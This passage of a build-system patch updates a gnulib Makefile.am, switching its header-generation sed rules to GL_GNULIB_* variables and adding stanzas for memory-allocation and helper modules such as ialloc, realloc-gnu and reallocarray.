's|@''NEXT_FCNTL_H''@|$(NEXT_FCNTL_H)|g' \ +- -e 's/@''GNULIB_CREAT''@/$(GNULIB_CREAT)/g' \ +- -e 's/@''GNULIB_FCNTL''@/$(GNULIB_FCNTL)/g' \ +- -e 's/@''GNULIB_NONBLOCKING''@/$(GNULIB_NONBLOCKING)/g' \ +- -e 's/@''GNULIB_OPEN''@/$(GNULIB_OPEN)/g' \ +- -e 's/@''GNULIB_OPENAT''@/$(GNULIB_OPENAT)/g' \ +- -e 's/@''GNULIB_MDA_CREAT''@/$(GNULIB_MDA_CREAT)/g' \ +- -e 's/@''GNULIB_MDA_OPEN''@/$(GNULIB_MDA_OPEN)/g' \ ++ -e 's/@''GNULIB_CREAT''@/$(GL_GNULIB_CREAT)/g' \ ++ -e 's/@''GNULIB_FCNTL''@/$(GL_GNULIB_FCNTL)/g' \ ++ -e 's/@''GNULIB_NONBLOCKING''@/$(GL_GNULIB_NONBLOCKING)/g' \ ++ -e 's/@''GNULIB_OPEN''@/$(GL_GNULIB_OPEN)/g' \ ++ -e 's/@''GNULIB_OPENAT''@/$(GL_GNULIB_OPENAT)/g' \ ++ -e 's/@''GNULIB_MDA_CREAT''@/$(GL_GNULIB_MDA_CREAT)/g' \ ++ -e 's/@''GNULIB_MDA_OPEN''@/$(GL_GNULIB_MDA_OPEN)/g' \ + -e 's|@''HAVE_FCNTL''@|$(HAVE_FCNTL)|g' \ + -e 's|@''HAVE_OPENAT''@|$(HAVE_OPENAT)|g' \ + -e 's|@''REPLACE_CREAT''@|$(REPLACE_CREAT)|g' \ +@@ -358,6 +402,17 @@ EXTRA_libgnu_a_SOURCES += float.c itold. + + ## end gnulib module float + ++## begin gnulib module free-posix ++ ++if gl_GNULIB_ENABLED_ef07dc4b3077c11ea9cef586db4e5955 ++ ++endif ++EXTRA_DIST += free.c ++ ++EXTRA_libgnu_a_SOURCES += free.c ++ ++## end gnulib module free-posix ++ + ## begin gnulib module fstat + + if gl_GNULIB_ENABLED_fstat +@@ -445,11 +500,23 @@ EXTRA_DIST += $(top_srcdir)/build-aux/co + + ## end gnulib module havelib + ++## begin gnulib module ialloc ++ ++libgnu_a_SOURCES += ialloc.c ++ ++EXTRA_DIST += ialloc.h ++ ++## end gnulib module ialloc ++ ++## begin gnulib module idx ++ ++libgnu_a_SOURCES += idx.h ++ ++## end gnulib module idx ++ + ## begin gnulib module intprops + +-if gl_GNULIB_ENABLED_intprops + +-endif + EXTRA_DIST += intprops.h + + ## end gnulib module intprops +@@ -470,10 +537,10 @@ inttypes.h: inttypes.in.h $(top_builddir + -e 's|@''NEXT_INTTYPES_H''@|$(NEXT_INTTYPES_H)|g' \ + -e 's/@''APPLE_UNIVERSAL_BUILD''@/$(APPLE_UNIVERSAL_BUILD)/g' \ + -e 's/@''PRIPTR_PREFIX''@/$(PRIPTR_PREFIX)/g' \ +- -e 's/@''GNULIB_IMAXABS''@/$(GNULIB_IMAXABS)/g' \ +- -e 's/@''GNULIB_IMAXDIV''@/$(GNULIB_IMAXDIV)/g' \ +- -e 's/@''GNULIB_STRTOIMAX''@/$(GNULIB_STRTOIMAX)/g' \ +- -e 's/@''GNULIB_STRTOUMAX''@/$(GNULIB_STRTOUMAX)/g' \ ++ -e 's/@''GNULIB_IMAXABS''@/$(GL_GNULIB_IMAXABS)/g' \ ++ -e 's/@''GNULIB_IMAXDIV''@/$(GL_GNULIB_IMAXDIV)/g' \ ++ -e 's/@''GNULIB_STRTOIMAX''@/$(GL_GNULIB_STRTOIMAX)/g' \ ++ -e 's/@''GNULIB_STRTOUMAX''@/$(GL_GNULIB_STRTOUMAX)/g' \ + -e 's/@''HAVE_DECL_IMAXABS''@/$(HAVE_DECL_IMAXABS)/g' \ + -e 's/@''HAVE_DECL_IMAXDIV''@/$(HAVE_DECL_IMAXDIV)/g' \ + -e 's/@''HAVE_DECL_STRTOIMAX''@/$(HAVE_DECL_STRTOIMAX)/g' \ +@@ -540,7 +607,7 @@ langinfo.h: langinfo.in.h $(top_builddir + -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \ + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_LANGINFO_H''@|$(NEXT_LANGINFO_H)|g' \ +- -e 's/@''GNULIB_NL_LANGINFO''@/$(GNULIB_NL_LANGINFO)/g' \ ++ -e 's/@''GNULIB_NL_LANGINFO''@/$(GL_GNULIB_NL_LANGINFO)/g' \ + -e 's|@''HAVE_LANGINFO_CODESET''@|$(HAVE_LANGINFO_CODESET)|g' \ + -e 's|@''HAVE_LANGINFO_T_FMT_AMPM''@|$(HAVE_LANGINFO_T_FMT_AMPM)|g' \ + -e 's|@''HAVE_LANGINFO_ALTMON''@|$(HAVE_LANGINFO_ALTMON)|g' \ +@@ -622,11 +689,11 @@ locale.h: locale.in.h $(top_builddir)/co + -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \ + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_LOCALE_H''@|$(NEXT_LOCALE_H)|g' \ +- -e 's/@''GNULIB_LOCALECONV''@/$(GNULIB_LOCALECONV)/g' \ +- -e 's/@''GNULIB_SETLOCALE''@/$(GNULIB_SETLOCALE)/g' \ +- -e 's/@''GNULIB_SETLOCALE_NULL''@/$(GNULIB_SETLOCALE_NULL)/g' \ +- -e 's/@''GNULIB_DUPLOCALE''@/$(GNULIB_DUPLOCALE)/g' \ +- -e 's/@''GNULIB_LOCALENAME''@/$(GNULIB_LOCALENAME)/g' \ ++ -e 's/@''GNULIB_LOCALECONV''@/$(GL_GNULIB_LOCALECONV)/g' \ ++ -e 's/@''GNULIB_SETLOCALE''@/$(GL_GNULIB_SETLOCALE)/g' \ ++ -e 's/@''GNULIB_SETLOCALE_NULL''@/$(GL_GNULIB_SETLOCALE_NULL)/g' \ ++ -e 's/@''GNULIB_DUPLOCALE''@/$(GL_GNULIB_DUPLOCALE)/g' \ ++ -e 's/@''GNULIB_LOCALENAME''@/$(GL_GNULIB_LOCALENAME)/g' \ + -e 's|@''HAVE_NEWLOCALE''@|$(HAVE_NEWLOCALE)|g' \ + -e 's|@''HAVE_DUPLOCALE''@|$(HAVE_DUPLOCALE)|g' \ + -e 's|@''HAVE_FREELOCALE''@|$(HAVE_FREELOCALE)|g' \ +@@ -670,11 +737,18 @@ libgnu_a_SOURCES += glthread/lock.h glth + endif + ## end gnulib module lock + ++## begin gnulib module malloc-gnu ++ ++ ++EXTRA_DIST += malloc.c ++ ++EXTRA_libgnu_a_SOURCES += malloc.c ++ ++## end gnulib module malloc-gnu ++ + ## begin gnulib module malloc-posix + +-if gl_GNULIB_ENABLED_ef455225c00f5049c808c2eda3e76866 + +-endif + EXTRA_DIST += malloc.c + + EXTRA_libgnu_a_SOURCES += malloc.c +@@ -805,6 +879,12 @@ EXTRA_libgnu_a_SOURCES += memrchr.c + + ## end gnulib module memrchr + ++## begin gnulib module minmax ++ ++libgnu_a_SOURCES += minmax.h ++ ++## end gnulib module minmax ++ + ## begin gnulib module msvc-inval + + if gl_GNULIB_ENABLED_f691f076f650964c9f5598c3ee487616 +@@ -856,6 +936,33 @@ EXTRA_DIST += pathmax.h + + ## end gnulib module pathmax + ++## begin gnulib module realloc-gnu ++ ++ ++EXTRA_DIST += realloc.c ++ ++EXTRA_libgnu_a_SOURCES += realloc.c ++ ++## end gnulib module realloc-gnu ++ ++## begin gnulib module realloc-posix ++ ++ ++EXTRA_DIST += realloc.c ++ ++EXTRA_libgnu_a_SOURCES += realloc.c ++ ++## end gnulib module realloc-posix ++ ++## begin gnulib module reallocarray ++ ++ ++EXTRA_DIST += reallocarray.c ++ ++EXTRA_libgnu_a_SOURCES += reallocarray.c ++ ++## end gnulib module reallocarray ++ + ## begin gnulib module regex + + +@@ -1072,7 +1179,7 @@ stdint.h: stdint.in.h $(top_builddir)/co + -e 's/@''BITSIZEOF_WINT_T''@/$(BITSIZEOF_WINT_T)/g' \ + -e 's/@''HAVE_SIGNED_WINT_T''@/$(HAVE_SIGNED_WINT_T)/g' \ + -e 's/@''WINT_T_SUFFIX''@/$(WINT_T_SUFFIX)/g' \ +- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \ ++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \ + < $(srcdir)/stdint.in.h; \ + } > $@-t && \ + mv $@-t $@ +@@ -1100,65 +1207,65 @@ stdio.h: stdio.in.h $(top_builddir)/conf + -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \ + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_STDIO_H''@|$(NEXT_STDIO_H)|g' \ +- -e 's/@''GNULIB_DPRINTF''@/$(GNULIB_DPRINTF)/g' \ +- -e 's/@''GNULIB_FCLOSE''@/$(GNULIB_FCLOSE)/g' \ +- -e 's/@''GNULIB_FDOPEN''@/$(GNULIB_FDOPEN)/g' \ +- -e 's/@''GNULIB_FFLUSH''@/$(GNULIB_FFLUSH)/g' \ +- -e 's/@''GNULIB_FGETC''@/$(GNULIB_FGETC)/g' \ +- -e 's/@''GNULIB_FGETS''@/$(GNULIB_FGETS)/g' \ +- -e 's/@''GNULIB_FOPEN''@/$(GNULIB_FOPEN)/g' \ +- -e 's/@''GNULIB_FPRINTF''@/$(GNULIB_FPRINTF)/g' \ +- -e 's/@''GNULIB_FPRINTF_POSIX''@/$(GNULIB_FPRINTF_POSIX)/g' \ +- -e 's/@''GNULIB_FPURGE''@/$(GNULIB_FPURGE)/g' \ +- -e 's/@''GNULIB_FPUTC''@/$(GNULIB_FPUTC)/g' \ +- -e 's/@''GNULIB_FPUTS''@/$(GNULIB_FPUTS)/g' \ +- -e 's/@''GNULIB_FREAD''@/$(GNULIB_FREAD)/g' \ +- -e 's/@''GNULIB_FREOPEN''@/$(GNULIB_FREOPEN)/g' \ +- -e 's/@''GNULIB_FSCANF''@/$(GNULIB_FSCANF)/g' \ +- -e 's/@''GNULIB_FSEEK''@/$(GNULIB_FSEEK)/g' \ +- -e 's/@''GNULIB_FSEEKO''@/$(GNULIB_FSEEKO)/g' \ +- -e 's/@''GNULIB_FTELL''@/$(GNULIB_FTELL)/g' \ +- -e 's/@''GNULIB_FTELLO''@/$(GNULIB_FTELLO)/g' \ +- -e 's/@''GNULIB_FWRITE''@/$(GNULIB_FWRITE)/g' \ +- -e 's/@''GNULIB_GETC''@/$(GNULIB_GETC)/g' \ +- -e 's/@''GNULIB_GETCHAR''@/$(GNULIB_GETCHAR)/g' \ +- -e 's/@''GNULIB_GETDELIM''@/$(GNULIB_GETDELIM)/g' \ +- -e 's/@''GNULIB_GETLINE''@/$(GNULIB_GETLINE)/g' \ +- -e 's/@''GNULIB_OBSTACK_PRINTF''@/$(GNULIB_OBSTACK_PRINTF)/g' \ +- -e 's/@''GNULIB_OBSTACK_PRINTF_POSIX''@/$(GNULIB_OBSTACK_PRINTF_POSIX)/g' \ +- -e 's/@''GNULIB_PCLOSE''@/$(GNULIB_PCLOSE)/g' \ +- -e 's/@''GNULIB_PERROR''@/$(GNULIB_PERROR)/g' \ +- -e 's/@''GNULIB_POPEN''@/$(GNULIB_POPEN)/g' \ +- -e 's/@''GNULIB_PRINTF''@/$(GNULIB_PRINTF)/g' \ +- -e 's/@''GNULIB_PRINTF_POSIX''@/$(GNULIB_PRINTF_POSIX)/g' \ +- -e 's/@''GNULIB_PUTC''@/$(GNULIB_PUTC)/g' \ +- -e 's/@''GNULIB_PUTCHAR''@/$(GNULIB_PUTCHAR)/g' \ +- -e 's/@''GNULIB_PUTS''@/$(GNULIB_PUTS)/g' \ +- -e 's/@''GNULIB_REMOVE''@/$(GNULIB_REMOVE)/g' \ +- -e 's/@''GNULIB_RENAME''@/$(GNULIB_RENAME)/g' \ +- -e 's/@''GNULIB_RENAMEAT''@/$(GNULIB_RENAMEAT)/g' \ +- -e 's/@''GNULIB_SCANF''@/$(GNULIB_SCANF)/g' \ +- -e 's/@''GNULIB_SNPRINTF''@/$(GNULIB_SNPRINTF)/g' \ +- -e 's/@''GNULIB_SPRINTF_POSIX''@/$(GNULIB_SPRINTF_POSIX)/g' \ +- -e 's/@''GNULIB_STDIO_H_NONBLOCKING''@/$(GNULIB_STDIO_H_NONBLOCKING)/g' \ +- -e 's/@''GNULIB_STDIO_H_SIGPIPE''@/$(GNULIB_STDIO_H_SIGPIPE)/g' \ +- -e 's/@''GNULIB_TMPFILE''@/$(GNULIB_TMPFILE)/g' \ +- -e 's/@''GNULIB_VASPRINTF''@/$(GNULIB_VASPRINTF)/g' \ +- -e 's/@''GNULIB_VDPRINTF''@/$(GNULIB_VDPRINTF)/g' \ +- -e 's/@''GNULIB_VFPRINTF''@/$(GNULIB_VFPRINTF)/g' \ +- -e 's/@''GNULIB_VFPRINTF_POSIX''@/$(GNULIB_VFPRINTF_POSIX)/g' \ +- -e 's/@''GNULIB_VFSCANF''@/$(GNULIB_VFSCANF)/g' \ +- -e 's/@''GNULIB_VSCANF''@/$(GNULIB_VSCANF)/g' \ +- -e 's/@''GNULIB_VPRINTF''@/$(GNULIB_VPRINTF)/g' \ +- -e 's/@''GNULIB_VPRINTF_POSIX''@/$(GNULIB_VPRINTF_POSIX)/g' \ +- -e 's/@''GNULIB_VSNPRINTF''@/$(GNULIB_VSNPRINTF)/g' \ +- -e 's/@''GNULIB_VSPRINTF_POSIX''@/$(GNULIB_VSPRINTF_POSIX)/g' \ +- -e 's/@''GNULIB_MDA_FCLOSEALL''@/$(GNULIB_MDA_FCLOSEALL)/g' \ +- -e 's/@''GNULIB_MDA_FDOPEN''@/$(GNULIB_MDA_FDOPEN)/g' \ +- -e 's/@''GNULIB_MDA_FILENO''@/$(GNULIB_MDA_FILENO)/g' \ +- -e 's/@''GNULIB_MDA_GETW''@/$(GNULIB_MDA_GETW)/g' \ +- -e 's/@''GNULIB_MDA_PUTW''@/$(GNULIB_MDA_PUTW)/g' \ +- -e 's/@''GNULIB_MDA_TEMPNAM''@/$(GNULIB_MDA_TEMPNAM)/g' \ ++ -e 's/@''GNULIB_DPRINTF''@/$(GL_GNULIB_DPRINTF)/g' \ ++ -e 's/@''GNULIB_FCLOSE''@/$(GL_GNULIB_FCLOSE)/g' \ ++ -e 's/@''GNULIB_FDOPEN''@/$(GL_GNULIB_FDOPEN)/g' \ ++ -e 's/@''GNULIB_FFLUSH''@/$(GL_GNULIB_FFLUSH)/g' \ ++ -e 's/@''GNULIB_FGETC''@/$(GL_GNULIB_FGETC)/g' \ ++ -e 's/@''GNULIB_FGETS''@/$(GL_GNULIB_FGETS)/g' \ ++ -e 's/@''GNULIB_FOPEN''@/$(GL_GNULIB_FOPEN)/g' \ ++ -e 's/@''GNULIB_FPRINTF''@/$(GL_GNULIB_FPRINTF)/g' \ ++ -e 's/@''GNULIB_FPRINTF_POSIX''@/$(GL_GNULIB_FPRINTF_POSIX)/g' \ ++ -e 's/@''GNULIB_FPURGE''@/$(GL_GNULIB_FPURGE)/g' \ ++ -e 's/@''GNULIB_FPUTC''@/$(GL_GNULIB_FPUTC)/g' \ ++ -e 's/@''GNULIB_FPUTS''@/$(GL_GNULIB_FPUTS)/g' \ ++ -e 's/@''GNULIB_FREAD''@/$(GL_GNULIB_FREAD)/g' \ ++ -e 's/@''GNULIB_FREOPEN''@/$(GL_GNULIB_FREOPEN)/g' \ ++ -e 's/@''GNULIB_FSCANF''@/$(GL_GNULIB_FSCANF)/g' \ ++ -e 's/@''GNULIB_FSEEK''@/$(GL_GNULIB_FSEEK)/g' \ ++ -e 's/@''GNULIB_FSEEKO''@/$(GL_GNULIB_FSEEKO)/g' \ ++ -e 's/@''GNULIB_FTELL''@/$(GL_GNULIB_FTELL)/g' \ ++ -e 's/@''GNULIB_FTELLO''@/$(GL_GNULIB_FTELLO)/g' \ ++ -e 's/@''GNULIB_FWRITE''@/$(GL_GNULIB_FWRITE)/g' \ ++ -e 's/@''GNULIB_GETC''@/$(GL_GNULIB_GETC)/g' \ ++ -e 's/@''GNULIB_GETCHAR''@/$(GL_GNULIB_GETCHAR)/g' \ ++ -e 's/@''GNULIB_GETDELIM''@/$(GL_GNULIB_GETDELIM)/g' \ ++ -e 's/@''GNULIB_GETLINE''@/$(GL_GNULIB_GETLINE)/g' \ ++ -e 's/@''GNULIB_OBSTACK_PRINTF''@/$(GL_GNULIB_OBSTACK_PRINTF)/g' \ ++ -e 's/@''GNULIB_OBSTACK_PRINTF_POSIX''@/$(GL_GNULIB_OBSTACK_PRINTF_POSIX)/g' \ ++ -e 's/@''GNULIB_PCLOSE''@/$(GL_GNULIB_PCLOSE)/g' \ ++ -e 's/@''GNULIB_PERROR''@/$(GL_GNULIB_PERROR)/g' \ ++ -e 's/@''GNULIB_POPEN''@/$(GL_GNULIB_POPEN)/g' \ ++ -e 's/@''GNULIB_PRINTF''@/$(GL_GNULIB_PRINTF)/g' \ ++ -e 's/@''GNULIB_PRINTF_POSIX''@/$(GL_GNULIB_PRINTF_POSIX)/g' \ ++ -e 's/@''GNULIB_PUTC''@/$(GL_GNULIB_PUTC)/g' \ ++ -e 's/@''GNULIB_PUTCHAR''@/$(GL_GNULIB_PUTCHAR)/g' \ ++ -e 's/@''GNULIB_PUTS''@/$(GL_GNULIB_PUTS)/g' \ ++ -e 's/@''GNULIB_REMOVE''@/$(GL_GNULIB_REMOVE)/g' \ ++ -e 's/@''GNULIB_RENAME''@/$(GL_GNULIB_RENAME)/g' \ ++ -e 's/@''GNULIB_RENAMEAT''@/$(GL_GNULIB_RENAMEAT)/g' \ ++ -e 's/@''GNULIB_SCANF''@/$(GL_GNULIB_SCANF)/g' \ ++ -e 's/@''GNULIB_SNPRINTF''@/$(GL_GNULIB_SNPRINTF)/g' \ ++ -e 's/@''GNULIB_SPRINTF_POSIX''@/$(GL_GNULIB_SPRINTF_POSIX)/g' \ ++ -e 's/@''GNULIB_STDIO_H_NONBLOCKING''@/$(GL_GNULIB_STDIO_H_NONBLOCKING)/g' \ ++ -e 's/@''GNULIB_STDIO_H_SIGPIPE''@/$(GL_GNULIB_STDIO_H_SIGPIPE)/g' \ ++ -e 's/@''GNULIB_TMPFILE''@/$(GL_GNULIB_TMPFILE)/g' \ ++ -e 's/@''GNULIB_VASPRINTF''@/$(GL_GNULIB_VASPRINTF)/g' \ ++ -e 's/@''GNULIB_VDPRINTF''@/$(GL_GNULIB_VDPRINTF)/g' \ ++ -e 's/@''GNULIB_VFPRINTF''@/$(GL_GNULIB_VFPRINTF)/g' \ ++ -e 's/@''GNULIB_VFPRINTF_POSIX''@/$(GL_GNULIB_VFPRINTF_POSIX)/g' \ ++ -e 's/@''GNULIB_VFSCANF''@/$(GL_GNULIB_VFSCANF)/g' \ ++ -e 's/@''GNULIB_VSCANF''@/$(GL_GNULIB_VSCANF)/g' \ ++ -e 's/@''GNULIB_VPRINTF''@/$(GL_GNULIB_VPRINTF)/g' \ ++ -e 's/@''GNULIB_VPRINTF_POSIX''@/$(GL_GNULIB_VPRINTF_POSIX)/g' \ ++ -e 's/@''GNULIB_VSNPRINTF''@/$(GL_GNULIB_VSNPRINTF)/g' \ ++ -e 's/@''GNULIB_VSPRINTF_POSIX''@/$(GL_GNULIB_VSPRINTF_POSIX)/g' \ ++ -e 's/@''GNULIB_MDA_FCLOSEALL''@/$(GL_GNULIB_MDA_FCLOSEALL)/g' \ ++ -e 's/@''GNULIB_MDA_FDOPEN''@/$(GL_GNULIB_MDA_FDOPEN)/g' \ ++ -e 's/@''GNULIB_MDA_FILENO''@/$(GL_GNULIB_MDA_FILENO)/g' \ ++ -e 's/@''GNULIB_MDA_GETW''@/$(GL_GNULIB_MDA_GETW)/g' \ ++ -e 's/@''GNULIB_MDA_PUTW''@/$(GL_GNULIB_MDA_PUTW)/g' \ ++ -e 's/@''GNULIB_MDA_TEMPNAM''@/$(GL_GNULIB_MDA_TEMPNAM)/g' \ + < $(srcdir)/stdio.in.h | \ + sed -e 's|@''HAVE_DECL_FCLOSEALL''@|$(HAVE_DECL_FCLOSEALL)|g' \ + -e 's|@''HAVE_DECL_FPURGE''@|$(HAVE_DECL_FPURGE)|g' \ +@@ -1236,49 +1343,51 @@ stdlib.h: stdlib.in.h $(top_builddir)/co + -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \ + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_STDLIB_H''@|$(NEXT_STDLIB_H)|g' \ +- -e 's/@''GNULIB__EXIT''@/$(GNULIB__EXIT)/g' \ +- -e 's/@''GNULIB_ALIGNED_ALLOC''@/$(GNULIB_ALIGNED_ALLOC)/g' \ +- -e 's/@''GNULIB_ATOLL''@/$(GNULIB_ATOLL)/g' \ +- -e 's/@''GNULIB_CALLOC_POSIX''@/$(GNULIB_CALLOC_POSIX)/g' \ +- -e 's/@''GNULIB_CANONICALIZE_FILE_NAME''@/$(GNULIB_CANONICALIZE_FILE_NAME)/g' \ +- -e 's/@''GNULIB_FREE_POSIX''@/$(GNULIB_FREE_POSIX)/g' \ +- -e 's/@''GNULIB_GETLOADAVG''@/$(GNULIB_GETLOADAVG)/g' \ +- -e 's/@''GNULIB_GETSUBOPT''@/$(GNULIB_GETSUBOPT)/g' \ +- -e 's/@''GNULIB_GRANTPT''@/$(GNULIB_GRANTPT)/g' \ +- -e 's/@''GNULIB_MALLOC_POSIX''@/$(GNULIB_MALLOC_POSIX)/g' \ +- -e 's/@''GNULIB_MBTOWC''@/$(GNULIB_MBTOWC)/g' \ +- -e 's/@''GNULIB_MKDTEMP''@/$(GNULIB_MKDTEMP)/g' \ +- -e 's/@''GNULIB_MKOSTEMP''@/$(GNULIB_MKOSTEMP)/g' \ +- -e 's/@''GNULIB_MKOSTEMPS''@/$(GNULIB_MKOSTEMPS)/g' \ +- -e 's/@''GNULIB_MKSTEMP''@/$(GNULIB_MKSTEMP)/g' \ +- -e 's/@''GNULIB_MKSTEMPS''@/$(GNULIB_MKSTEMPS)/g' \ +- -e 's/@''GNULIB_POSIX_MEMALIGN''@/$(GNULIB_POSIX_MEMALIGN)/g' \ +- -e 's/@''GNULIB_POSIX_OPENPT''@/$(GNULIB_POSIX_OPENPT)/g' \ +- -e 's/@''GNULIB_PTSNAME''@/$(GNULIB_PTSNAME)/g' \ +- -e 's/@''GNULIB_PTSNAME_R''@/$(GNULIB_PTSNAME_R)/g' \ +- -e 's/@''GNULIB_PUTENV''@/$(GNULIB_PUTENV)/g' \ +- -e 's/@''GNULIB_QSORT_R''@/$(GNULIB_QSORT_R)/g' \ +- -e 's/@''GNULIB_RANDOM''@/$(GNULIB_RANDOM)/g' \ +- -e 's/@''GNULIB_RANDOM_R''@/$(GNULIB_RANDOM_R)/g' \ +- -e 's/@''GNULIB_REALLOC_POSIX''@/$(GNULIB_REALLOC_POSIX)/g' \ +- -e 's/@''GNULIB_REALLOCARRAY''@/$(GNULIB_REALLOCARRAY)/g' \ +- -e 's/@''GNULIB_REALPATH''@/$(GNULIB_REALPATH)/g' \ +- -e 's/@''GNULIB_RPMATCH''@/$(GNULIB_RPMATCH)/g' \ +- -e 's/@''GNULIB_SECURE_GETENV''@/$(GNULIB_SECURE_GETENV)/g' \ +- -e 's/@''GNULIB_SETENV''@/$(GNULIB_SETENV)/g' \ +- -e 's/@''GNULIB_STRTOD''@/$(GNULIB_STRTOD)/g' \ +- -e 's/@''GNULIB_STRTOLD''@/$(GNULIB_STRTOLD)/g' \ +- -e 's/@''GNULIB_STRTOLL''@/$(GNULIB_STRTOLL)/g' \ +- -e 's/@''GNULIB_STRTOULL''@/$(GNULIB_STRTOULL)/g' \ +- -e 's/@''GNULIB_SYSTEM_POSIX''@/$(GNULIB_SYSTEM_POSIX)/g' \ +- -e 's/@''GNULIB_UNLOCKPT''@/$(GNULIB_UNLOCKPT)/g' \ +- -e 's/@''GNULIB_UNSETENV''@/$(GNULIB_UNSETENV)/g' \ +- -e 's/@''GNULIB_WCTOMB''@/$(GNULIB_WCTOMB)/g' \ +- -e 's/@''GNULIB_MDA_ECVT''@/$(GNULIB_MDA_ECVT)/g' \ +- -e 's/@''GNULIB_MDA_FCVT''@/$(GNULIB_MDA_FCVT)/g' \ +- -e 's/@''GNULIB_MDA_GCVT''@/$(GNULIB_MDA_GCVT)/g' \ +- -e 's/@''GNULIB_MDA_MKTEMP''@/$(GNULIB_MDA_MKTEMP)/g' \ +- -e 's/@''GNULIB_MDA_PUTENV''@/$(GNULIB_MDA_PUTENV)/g' \ ++ -e 's/@''GNULIB__EXIT''@/$(GL_GNULIB__EXIT)/g' \ ++ -e 's/@''GNULIB_ALIGNED_ALLOC''@/$(GL_GNULIB_ALIGNED_ALLOC)/g' \ ++ -e 's/@''GNULIB_ATOLL''@/$(GL_GNULIB_ATOLL)/g' \ ++ -e 's/@''GNULIB_CALLOC_POSIX''@/$(GL_GNULIB_CALLOC_POSIX)/g' \ ++ -e 's/@''GNULIB_CANONICALIZE_FILE_NAME''@/$(GL_GNULIB_CANONICALIZE_FILE_NAME)/g' \ ++ -e 's/@''GNULIB_FREE_POSIX''@/$(GL_GNULIB_FREE_POSIX)/g' \ ++ -e 's/@''GNULIB_GETLOADAVG''@/$(GL_GNULIB_GETLOADAVG)/g' \ ++ -e 's/@''GNULIB_GETSUBOPT''@/$(GL_GNULIB_GETSUBOPT)/g' \ ++ -e 's/@''GNULIB_GRANTPT''@/$(GL_GNULIB_GRANTPT)/g' \ ++ -e 's/@''GNULIB_MALLOC_POSIX''@/$(GL_GNULIB_MALLOC_POSIX)/g' \ ++ -e 's/@''GNULIB_MBTOWC''@/$(GL_GNULIB_MBTOWC)/g' \ ++ -e 's/@''GNULIB_MKDTEMP''@/$(GL_GNULIB_MKDTEMP)/g' \ ++ -e 's/@''GNULIB_MKOSTEMP''@/$(GL_GNULIB_MKOSTEMP)/g' \ ++ -e 's/@''GNULIB_MKOSTEMPS''@/$(GL_GNULIB_MKOSTEMPS)/g' \ ++ -e 's/@''GNULIB_MKSTEMP''@/$(GL_GNULIB_MKSTEMP)/g' \ ++ -e 's/@''GNULIB_MKSTEMPS''@/$(GL_GNULIB_MKSTEMPS)/g' \ ++ -e 's/@''GNULIB_POSIX_MEMALIGN''@/$(GL_GNULIB_POSIX_MEMALIGN)/g' \ ++ -e 's/@''GNULIB_POSIX_OPENPT''@/$(GL_GNULIB_POSIX_OPENPT)/g' \ ++ -e 's/@''GNULIB_PTSNAME''@/$(GL_GNULIB_PTSNAME)/g' \ ++ -e 's/@''GNULIB_PTSNAME_R''@/$(GL_GNULIB_PTSNAME_R)/g' \ ++ -e 's/@''GNULIB_PUTENV''@/$(GL_GNULIB_PUTENV)/g' \ ++ -e 's/@''GNULIB_QSORT_R''@/$(GL_GNULIB_QSORT_R)/g' \ ++ -e 's/@''GNULIB_RANDOM''@/$(GL_GNULIB_RANDOM)/g' \ ++ -e 's/@''GNULIB_RANDOM_R''@/$(GL_GNULIB_RANDOM_R)/g' \ ++ -e 's/@''GNULIB_REALLOC_POSIX''@/$(GL_GNULIB_REALLOC_POSIX)/g' \ ++ -e 's/@''GNULIB_REALLOCARRAY''@/$(GL_GNULIB_REALLOCARRAY)/g' \ ++ -e 's/@''GNULIB_REALPATH''@/$(GL_GNULIB_REALPATH)/g' \ ++ -e 's/@''GNULIB_RPMATCH''@/$(GL_GNULIB_RPMATCH)/g' \ ++ -e 's/@''GNULIB_SECURE_GETENV''@/$(GL_GNULIB_SECURE_GETENV)/g' \ ++ -e 's/@''GNULIB_SETENV''@/$(GL_GNULIB_SETENV)/g' \ ++ -e 's/@''GNULIB_STRTOD''@/$(GL_GNULIB_STRTOD)/g' \ ++ -e 's/@''GNULIB_STRTOL''@/$(GL_GNULIB_STRTOL)/g' \ ++ -e 's/@''GNULIB_STRTOLD''@/$(GL_GNULIB_STRTOLD)/g' \ ++ -e 's/@''GNULIB_STRTOLL''@/$(GL_GNULIB_STRTOLL)/g' \ ++ -e 's/@''GNULIB_STRTOUL''@/$(GL_GNULIB_STRTOUL)/g' \ ++ -e 's/@''GNULIB_STRTOULL''@/$(GL_GNULIB_STRTOULL)/g' \ ++ -e 's/@''GNULIB_SYSTEM_POSIX''@/$(GL_GNULIB_SYSTEM_POSIX)/g' \ ++ -e 's/@''GNULIB_UNLOCKPT''@/$(GL_GNULIB_UNLOCKPT)/g' \ ++ -e 's/@''GNULIB_UNSETENV''@/$(GL_GNULIB_UNSETENV)/g' \ ++ -e 's/@''GNULIB_WCTOMB''@/$(GL_GNULIB_WCTOMB)/g' \ ++ -e 's/@''GNULIB_MDA_ECVT''@/$(GL_GNULIB_MDA_ECVT)/g' \ ++ -e 's/@''GNULIB_MDA_FCVT''@/$(GL_GNULIB_MDA_FCVT)/g' \ ++ -e 's/@''GNULIB_MDA_GCVT''@/$(GL_GNULIB_MDA_GCVT)/g' \ ++ -e 's/@''GNULIB_MDA_MKTEMP''@/$(GL_GNULIB_MDA_MKTEMP)/g' \ ++ -e 's/@''GNULIB_MDA_PUTENV''@/$(GL_GNULIB_MDA_PUTENV)/g' \ + < $(srcdir)/stdlib.in.h | \ + sed -e 's|@''HAVE__EXIT''@|$(HAVE__EXIT)|g' \ + -e 's|@''HAVE_ALIGNED_ALLOC''@|$(HAVE_ALIGNED_ALLOC)|g' \ +@@ -1314,8 +1423,10 @@ stdlib.h: stdlib.in.h 